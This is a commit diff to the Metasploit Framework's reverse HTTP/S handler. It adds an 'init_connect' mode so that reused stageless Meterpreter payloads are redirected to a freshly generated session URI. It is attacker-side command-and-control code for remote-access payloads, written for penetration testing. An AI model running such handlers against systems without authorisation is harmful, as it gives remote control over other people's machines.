Add support for init_connect for stageless payloads

This new mode for HTTP/S stageless allows the stageless payload to be
reused without MSF believing that the session has already been
initialised.

lib/msf/core/handler/reverse_http.rb

@@ -3,6 +3,7 @@ require 'rex/io/stream_abstraction'
 require 'rex/sync/ref'
 require 'rex/payloads/meterpreter/patch'
 require 'rex/payloads/meterpreter/uri_checksum'
+require 'rex/post/meterpreter/packet'
 require 'rex/parser/x509_certificate'
 require 'msf/core/payload/windows/verify_ssl'
 
@@ -19,6 +20,7 @@ module ReverseHttp
   include Msf::Handler
   include Rex::Payloads::Meterpreter::UriChecksum
   include Msf::Payload::Windows::VerifySsl
+  include Rex::Post::Meterpreter
 
   #
   # Returns the string representation of the handler type
@@ -222,8 +224,6 @@ protected
     uuid.arch      ||= obj.arch
     uuid.platform  ||= obj.platform
 
-    print_status "#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}... (UUID:#{uuid.to_s})"
-
     conn_id = nil
     if info[:mode] && info[:mode] != :connect
       conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
@@ -233,7 +233,25 @@ protected
 
     # Process the requested resource.
     case info[:mode]
+      when :init_connect
+        print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Redirecting stageless connection ...")
+
+        # Handle the case where stageless payloads call in on the same URI when they
+        # first connect. From there, we tell them to callback on a connect URI that
+        # was generated on the fly. This means we form a new session for each.
+        sum = uri_checksum_lookup(:connect)
+        new_uri = generate_uri_uuid(sum, uuid) + '/'
+
+        # This bit is going to need to be validated by the Ruby/MSF masters as I
+        # am not sure that this is the best way to get a TLV packet out from this
+        # handler.
+        # Hurl a TLV back at the caller, and ignore the response
+        pkt = Packet.new(PACKET_TYPE_RESPONSE, 'core_patch_url')
+        pkt.add_tlv(TLV_TYPE_TRANS_URL, new_uri)
+        resp.body = pkt.to_r
+
       when :init_python
+        print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Python payload ...")
         url = payload_uri(req) + conn_id + '/'
 
         blob = ""
@@ -268,6 +286,7 @@ protected
         })
 
       when :init_java
+        print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Java payload ...")
         url = payload_uri(req) + conn_id + "/\x00"
 
         blob = ""
@@ -296,9 +315,9 @@ protected
         })
 
       when :init_native
+        print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Native payload ...")
         url = payload_uri(req) + conn_id + "/\x00"
 
-        print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
         resp['Content-Type'] = 'application/octet-stream'
 
         blob = obj.stage_payload
@@ -335,9 +354,10 @@ protected
         })
 
       when :connect
+        print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Attaching orphaned/stageless session ...")
+
         resp.body = ""
         conn_id = req.relative_resource
-        print_status("Incoming orphaned or stageless session #{conn_id}, attaching...")
 
         # Short-circuit the payload's handle_connection processing for create_session
         create_session(cli, {

lib/msf/core/handler/reverse_http/stageless.rb

@@ -38,7 +38,10 @@ module Handler::ReverseHttp::Stageless
     host = datastore['LHOST']
     host = "[#{host}]" if Rex::Socket.is_ipv6?(host)
     url = "http#{opts[:ssl] ? "s" : ""}://#{host}:#{datastore['LPORT']}"
-    url << "#{generate_uri_uuid_mode(:connect)}/"
+
+    # Use the init_connect mode because we're stageless. This will force
+    # MSF to generate a new URI when the first request is made.
+    url << "#{generate_uri_uuid_mode(:init_connect)}/"
 
     # invoke the given function to generate the architecture specific payload
     opts[:generator].call(url) do |dll|

lib/rex/payloads/meterpreter/uri_checksum.rb

@@ -15,12 +15,14 @@ module Rex
         URI_CHECKSUM_INITP      = 80 # Python
         URI_CHECKSUM_INITJ      = 88 # Java
         URI_CHECKSUM_CONN       = 98 # Existing session
+        URI_CHECKSUM_INIT_CONN  = 95 # New stageless session
 
         # Mapping between checksums and modes
         URI_CHECKSUM_MODES = Hash[
           URI_CHECKSUM_INITN,      :init_native,
           URI_CHECKSUM_INITP,      :init_python,
           URI_CHECKSUM_INITJ,      :init_java,
+          URI_CHECKSUM_INIT_CONN,  :init_connect,
           URI_CHECKSUM_CONN,       :connect
         ]